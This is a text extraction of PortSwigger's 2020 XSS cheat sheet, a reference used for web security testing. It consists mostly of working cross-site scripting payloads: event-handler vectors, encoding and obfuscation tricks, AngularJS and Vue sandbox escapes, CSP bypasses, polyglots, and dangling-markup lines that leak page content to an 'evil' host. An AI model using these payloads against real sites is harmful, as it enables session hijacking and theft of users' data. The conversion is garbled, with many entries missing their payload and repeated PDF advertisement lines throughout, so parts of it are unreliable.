Cross-Site Scripting (XSS) Cheat Sheet - 2020 Edition
Cross-Site Scripting (XSS) Cheat Sheet - 2020 Edition
Cross-Site Scripting (XSS) Cheat Sheet - 2020 Edition
Table of contents
Event handlers
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Event handlers that do not require user interaction
onactivate
custom tags
Compatibility:
Copy
onafterprint
body
<body onafterprint=alert(1)>
Compatibility:
Copy
onafterscriptexecute
custom tags
<xss onafterscriptexecute=alert(1)><script>1</script>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onanimationcancel
custom tags
Compatibility:
Copy
onanimationend
custom tags
Compatibility:
Copy
onanimationiteration
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onanimationstart
custom tags
Compatibility:
Copy
onbeforeactivate
custom tags
Compatibility:
Copy
onbeforedeactivate
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onbeforeprint
body
<body onbeforeprint=alert(1)>
Compatibility:
Copy
onbeforescriptexecute
custom tags
<xss onbeforescriptexecute=alert(1)><script>1</script>
Compatibility:
Copy
onbeforeunload
body
<body onbeforeunload="location='javascript:alert(1)'">
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onbegin
animate
Compatibility:
Copy
onblur
Compatibility:
Copy
onbounce
marquee
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
oncanplay
audio
Compatibility:
Copy
oncanplaythrough
Fires when enough data has been loaded to play the resource all the way through
video
Compatibility:
Copy
ondeactivate
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onend
animate
Compatibility:
Copy
onended
audio
Compatibility:
Copy
onerror
audio
<audio src/onerror=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onfinish
marquee
Compatibility:
Copy
onfocus
a
<a id=x tabindex=1 onfocus=alert(1)></a>
Compatibility:
Copy
onfocusin
Fires when the element has focus
a
<a id=x tabindex=1 onfocusin=alert(1)></a>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onfocusout
Fires when an element loses focus
a
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
Compatibility:
Copy
onhashchange
body
<body onhashchange="alert(1)">
Compatibility:
Copy
onload
Fires when the element is loaded
body
<body onload=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onloadeddata
Fires when the first frame is loaded
audio
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
onloadedmetadata
audio
Compatibility:
Copy
onloadend
Fires when the element finishes loading
image
<image src=validimage.png onloadend=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onloadstart
Fires when the element begins to load
image
<image src=validimage.png onloadstart=alert(1)>
Compatibility:
Copy
onmessage
body
<body onmessage=alert(1)>
Compatibility:
Copy
onpageshow
Fires when the page is shown
body
<body onpageshow=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onplay
Fires when the resource is played
audio
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
onplaying
audio
Compatibility:
Copy
onpopstate
body
<body onpopstate=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onreadystatechange
Fires when the ready state changes
applet
<applet onreadystatechange=alert(1)></applet>
Compatibility:
Copy
onrepeat
Fires when a svg animation repeats
animate
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
Compatibility:
Copy
onresize
body
<body onresize="alert(1)">
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onscroll
body
Compatibility:
Copy
onstart
Fires when the marquee starts
marquee
<marquee onstart=alert(1)>XSS</marquee>
Compatibility:
Copy
ontimeupdate
audio
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ontoggle
details
Compatibility:
Copy
ontransitioncancel
Fires when a CSS transition cancels
custom tags
<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=alert(1)></xss>
Compatibility:
Copy
ontransitionend
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ontransitionrun
Fires when a CSS transition begins
custom tags
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>
Compatibility:
Copy
onunhandledrejection
body
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
Compatibility:
Copy
onwaiting
video
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onwebkitanimationend
Fires when a CSS animation ends
custom tags
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
Compatibility:
Copy
onwebkitanimationstart
Fires when a CSS animation starts
custom tags
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
Compatibility:
Copy
onwebkittransitionend
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Event handlers that do require user interaction
onauxclick
Fires when right clicking or using the middle button of the mouse
input
<input onauxclick=alert(1)>
Compatibility:
Copy
onbeforecopy
Compatibility:
Copy
onbeforecut
Requires you cut a piece of text
a
<a onbeforecut="alert(1)" contenteditable>test</a>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onbeforepaste
Requires you paste a piece of text
a
<a onbeforepaste="alert(1)" contenteditable>test</a>
Compatibility:
Copy
onchange
Requires as change of value
input
<input onchange=alert(1) value=xss>
Compatibility:
Copy
onclick
Requires a click of the element
custom tags
<xss onclick="alert(1)">test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
oncontextmenu
Triggered when right clicking to show the context menu
custom tags
<xss oncontextmenu="alert(1)">test</xss>
Compatibility:
Copy
oncopy
Requires you copy a piece of text
custom tags
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test
Compatibility:
Copy
oncut
Requires you cut a piece of text
custom tags
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ondblclick
Triggered when double clicking the element
custom tags
<xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>
Compatibility:
Copy
ondrag
Triggered dragging the element
custom tags
<xss draggable="true" ondrag="alert(1)">test</xss>
Compatibility:
Copy
ondragend
Triggered dragging is finished on the element
custom tags
<xss draggable="true" ondragend="alert(1)">test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ondragenter
Requires a mouse drag
custom tags
<xss draggable="true" ondragenter="alert(1)">test</xss>
Compatibility:
Copy
ondragleave
Requires a mouse drag
custom tags
<xss draggable="true" ondragleave="alert(1)">test</xss>
Compatibility:
Copy
ondragover
Triggered dragging over an element
custom tags
<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable>drop here</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ondragstart
Requires a mouse drag
custom tags
<xss draggable="true" ondragstart="alert(1)">test</xss>
Compatibility:
Copy
ondrop
Triggered dropping a draggable element
custom tags
<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable>drop here</xss>
Compatibility:
Copy
onfullscreenchange
Fires when a video changes full screen status
video
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
oninput
Requires as change of value
input
<input oninput=alert(1) value=xss>
Compatibility:
Copy
oninvalid
Requires a form submission with an element that does not satisfy its constraints such as a required attribute.
input
<form><input oninvalid=alert(1) required><input type=submit>
Compatibility:
Copy
onkeydown
Triggered when a key is pressed
custom tags
<xss onkeydown="alert(1)" contenteditable>test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onkeypress
Triggered when a key is pressed
custom tags
<xss onkeypress="alert(1)" contenteditable>test</xss>
Compatibility:
Copy
onkeyup
Triggered when a key is released
custom tags
<xss onkeyup="alert(1)" contenteditable>test</xss>
Compatibility:
Copy
onmousedown
Triggered when the mouse is pressed
custom tags
<xss onmousedown="alert(1)">test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onmouseenter
Triggered when the mouse is hovered over the element
custom tags
<xss onmouseenter="alert(1)">test</xss>
Compatibility:
Copy
onmouseleave
Triggered when the mouse is moved away from the element
custom tags
<xss onmouseleave="alert(1)">test</xss>
Compatibility:
Copy
onmousemove
Requires mouse movement
custom tags
<xss onmousemove="alert(1)">test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onmouseout
custom tags
<xss onmouseout="alert(1)">test</xss>
Compatibility:
Copy
onmouseover
Requires a hover over the element
custom tags
<xss onmouseover="alert(1)">test</xss>
Compatibility:
Copy
onmouseup
Triggered when the mouse button is released
custom tags
<xss onmouseup="alert(1)">test</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onmozfullscreenchange
video
Compatibility:
Copy
onpaste
Requires you paste a piece of text
a
<a onpaste="alert(1)" contenteditable>test</a>
Compatibility:
Copy
onpause
Requires clicking the element to pause
audio
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onpointerdown
custom tags
<xss onpointerdown=alert(1)>XSS</xss>
Compatibility:
Copy
onpointerenter
Fires when the mouseenter
custom tags
<xss onpointerenter=alert(1)>XSS</xss>
Compatibility:
Copy
onpointerleave
Fires when the mouseleave
custom tags
<xss onpointerleave=alert(1)>XSS</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onpointermove
custom tags
<xss onpointermove=alert(1)>XSS</xss>
Compatibility:
Copy
onpointerout
Fires when the mouse out
custom tags
<xss onpointerout=alert(1)>XSS</xss>
Compatibility:
Copy
onpointerover
Fires when the mouseover
custom tags
<xss onpointerover=alert(1)>XSS</xss>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onpointerrawupdate
Fires when the pointer changes
custom tags
<xss onpointerrawupdate=alert(1)>XSS</xss>
Compatibility:
Copy
onpointerup
custom tags
<xss onpointerup=alert(1)>XSS</xss>
Compatibility:
Copy
onreset
Requires a click
form
<form onreset=alert(1)><input type=reset>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onsearch
Fires when a form is submitted and the input has a type attribute of search
input
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
Compatibility:
Copy
onseeked
Requires clicking the element timeline
audio
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
onseeking
Requires clicking the element timeline
audio
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onselect
Requires you select text
input
<input onselect=alert(1) value="XSS" autofocus>
Compatibility:
Copy
onsubmit
Requires a form submission
form
<form onsubmit=alert(1)><input type=submit>
Compatibility:
Copy
ontouchend
Fires when the touch screen, only mobile device
body
<body ontouchend=alert(1)>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ontouchmove
Fires when the touch screen and move, only mobile device
body
<body ontouchmove=alert(1)>
Compatibility:
Copy
ontouchstart
Fires when the touch screen, only mobile device
body
<body ontouchstart=alert(1)>
Compatibility:
Copy
onunload
Requires a click anywhere on the page and a reload
svg
<svg onunload=window.open('javascript:alert(1)')>
Compatibility:
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
onvolumechange
Requires volume adjustment
audio
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
Copy
onwheel
Fires when you use the mouse wheel
body
<body onwheel=alert(1)>
Compatibility:
Copy
Restricted characters
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<script>{onerror=alert}throw 1</script>
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<script>Function`X${document.location.hash.substr`1`}```</script>
Copy
Frameworks
Copy
Copy
Protocols
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Object data attribute with JavaScript protocol
<object data="javascript:alert(1)">
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Characters \x09,\x0a,\x0d are allowed inside the protocol
<a href="javas cript:alert(1)">XSS</a>
Copy
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon
<a href="javascript :alert(1)">XSS</a>
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SVG set tag
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Base tag with JavaScript protocol rewriting relative URLS
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Isindex and formaction
<isindex type=submit formaction=javascript:alert(1)>
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Using srcdoc attribute
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
Copy
Copy
Click a submit element from anywhere on the page, even outside the form
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
Copy
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Copy
Link elements: Access key attributes can enable XSS on normally unexploitable elements
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Download attribute can save a copy of the current webpage
<a href=# download="filename.html">Test</a>
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Set window.name via target attribute in a <a> tag
<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS
via target in a tag</a>
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Set window.name via formtarget attribute in a <input> tag type image
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1
type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)"
value="XSS via formtarget in input type image"></form>
Copy
Special tags
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<iframe sandbox src="//portswigger-labs.net"></iframe>
Copy
Disable referer
<meta name="referrer" content="no-referrer">
Copy
Encoding
Overlong UTF-8
%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>
Copy
Unicode escapes
<script>\u0061lert(1)</script>
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Copy
Copy
Octal encoding
<script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script> <script>eval('alert(\61)')</script>
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
HTML entities
<a href="javascript:alert(1)">XSS</a> <a href="java	script:alert(1)">XSS</a> <a
href="java
script:alert(1)">XSS</a> <a href="javascript:alert(1)">XSS</a>
Copy
URL encoding
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
Copy
Copy
Obfuscation
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Data protocol inside script src with base64 and HTML entities
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Copy
Data protocol inside script src with base64 and URL encoding
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Vuejs reflected
All versions
Copy
All versions
Mario Heiderich (Cure53) & Sebastian Lekies (Google) Eduardo Vela Nava (Google) Krzysztof Kotowicz (Google)
62
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
Copy
All versions
Gareth Heyes (PortSwigger)
39
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
39
<x v-html=_c.constructor('alert(1)')()>
Copy
Copy
Copy
1.2.0 - 1.2.1
Jan Horn (Google)
122
{{a='constructor';b={};a sub call call(b[a] getOwnPropertyDescriptor(b[a] getPrototypeOf(a sub) a) value 0 'alert(1)')()}}
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
{{a= constructor ;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0, alert(1) )()}}
Copy
1.2.2 - 1.2.5
Gareth Heyes (PortSwigger)
23
{{{}.")));alert(1)//"}}
Copy
1.2.6 - 1.2.18
Jan Horn (Google)
106
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
Copy
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
124
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
1.2.24 - 1.2.29
Gareth Heyes (PortSwigger)
23
{{{}.")));alert(1)//"}}
Copy
1.2.27-1.2.29/1.3.0-1.3.20
Gareth Heyes (PortSwigger)
23
{{{}.")));alert(1)//"}}
Copy
1.3.0
Copy
1.3.3 - 1.3.18
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Gareth Heyes (PortSwigger)
128
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=
[].join;$eval('x=alert(1)//');}}
Copy
1.3.19
Copy
1.3.20
Gareth Heyes (PortSwigger)
65
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
Copy
1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
74
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Copy
1.5.0 - 1.5.8
Ian Hickey & Gareth Heyes (PortSwigger)
79
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
Copy
1.5.9 - 1.5.11
Jan Horn (Google)
517
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:
(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; ");
m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
Copy
>=1.6.0
Mario Heiderich (Cure53)
41
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
{{constructor.constructor('alert(1)')()}}
Copy
>=1.6.0 (shorter)
Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)
33
{{$on.constructor('alert(1)')()}}
Copy
Copy
1.2.0 - 1.2.18
Jan Horn (Google)
118
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
119
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
Copy
1.2.24 - 1.2.26
Copy
1.2.27-1.2.29/1.3.0-1.3.20
Gareth Heyes (PortSwigger)
20
{}.")));alert(1)//";
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
1.4.0-1.4.5
Gareth Heyes (PortSwigger)
75
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
Copy
>=1.6.0
Mario Heiderich (Cure53)
37
constructor.constructor('alert(1)')()
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
AngularJS CSP bypasses
All versions (Chrome)
Gareth Heyes (PortSwigger)
81
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
Copy
56
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
1.2.0 - 1.5.0
Eduardo Vela (Google)
190
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key
== 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
Copy
Scriptless attacks
Dangling markup
Background attribute
<body background="//evil? <table background="//evil? <table><thead background="//evil? <table><tbody background="//evil?
<table><tfoot background="//evil? <table><td background="//evil? <table><th background="//evil?
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Meta refresh
<meta http-equiv="refresh" content="0; http://evil?
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Input src
<input type=image src="//evil?
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Copy
Object data
<object data="//evil?
Copy
Iframe src
<iframe src="//evil?
Copy
Embed src
<embed src="//evil?
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Copy
Copy
Copy
Copy
Polyglots
Polyglot payload 1
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Polyglot payload 2
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
onmouseover=/*<svg/*/onload=alert()//>
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: string concatenation (top)
';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: comment syntax (self)
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: comment syntax (globalThis)
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: hex escape sequence (parent)
';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Copy
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)
';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: octal escape sequence (window)
';window['\141\154\145\162\164']('\130\123\123');//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: octal escape sequence (frames)
';frames['\141\154\145\162\164']('\130\123\123');//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: unicode escape (top)
';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: RegExp source property (self)
';self[/al/.source+/ert/.source](/XSS/.source);//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: RegExp source property (globalThis)
';globalThis[/al/.source+/ert/.source](/XSS/.source);//
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)
';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
Copy
Copy
Copy
Impossible labs
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Image src with JavaScript protocol
<img src="javascript:alert(1)">
Copy
Copy
Iframe data urls no longer work as modern browsers use a null origin
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
JScript.Encode allows encoded JavaScript
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a> <a href=#
onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Copy
Copy
Copy
Copy
Copy
Copy
Copy
Copy
Copy
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Firefox allows NULLS after &
<a href="javascriptjavascript:alert(1)">Firefox</a>
Copy
Copy
Copy
Safari used to allow any tag to have a onload event inside SVG
<svg><xss onload=alert(1)>
Copy
Credits
Brought to you by PortSwigger lovingly constructed by Gareth Heyes
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario
Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor
Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog,
Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio
